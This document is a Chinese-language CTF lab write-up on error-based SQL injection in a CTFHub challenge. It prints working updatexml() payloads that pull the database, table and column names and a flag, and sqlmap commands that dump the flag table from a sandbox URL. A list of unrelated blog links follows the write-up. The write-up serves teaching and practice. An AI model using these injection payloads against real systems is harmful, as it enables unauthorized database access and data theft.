CTFHUB技能树之SQL——报错注入

开启靶场,打开链接:

输入1:

没有回显出相关信息,初步判断是报错注入、时间盲注或布尔盲注


输入1':

显示出'1''和报错信息,说明没有闭合情况,是报错注入且是整数型注入


输入:

1 and updatexml(1,0x7e,3) -- a

正常显示报错信息,确定报错函数updatexml()可以使用


(1)爆数据库名

1 and updatexml(1,concat('~',database(),'~'),1) -- a

说明数据库名是sqli


(2)爆表名

1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema = 'sqli' ),'~'),1) -- a

得到表名是news和flag,其中flag表是我们要找的


(3)爆列名

1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema = 'sqli' and table_name = 'flag'),'~'),1) -- a

得到列名是flag


(4)爆字段内容(flag)

1 and updatexml(1,concat('~',(select concat(flag) from flag limit 0,1),'~'),1) -- a

得到flag:

ctfhub{d49fefe662a37b6387cad068}


接下来用sqlmap爆破一下:

python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables


python sqlmap.py -u "http://challenge-4515cbd0900d8aa9.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --dump

一样成功得到flag

相关推荐
chushiyunen10 小时前
postgresql安装timescaledb替代influxdb功能、查看已安装的插件
数据库·postgresql
duke86926721410 小时前
C#怎么获取U盘的插拔事件_C#如何重写WndProc捕获消息【进阶】
jvm·数据库·python
数据库小学妹10 小时前
CDC实时数据同步:让数据库变更秒级流向大数据平台!
大数据·数据库·mysql·kafka·dba
m0_6908258210 小时前
如何高效实现多用户通知系统而不造成数据库冗余
jvm·数据库·python
XZ-07000110 小时前
MySQL-视图
数据库·mysql
2301_8125396711 小时前
golang如何使用Fiber高性能框架_golang Fiber框架入门教程
jvm·数据库·python
2401_8800714011 小时前
html标签如何提升可访问性_aria-label与title区别【指南】
jvm·数据库·python
2401_8504916511 小时前
如何管理多个监听器_listener.ora中非默认端口配置实战
jvm·数据库·python
2301_7815714211 小时前
Go语言如何用sqlx_Go语言sqlx数据库操作教程【入门】
jvm·数据库·python
2401_8800714011 小时前
mysql安装后如何进行初始化安全配置_mysql_secure_installation实操
jvm·数据库·python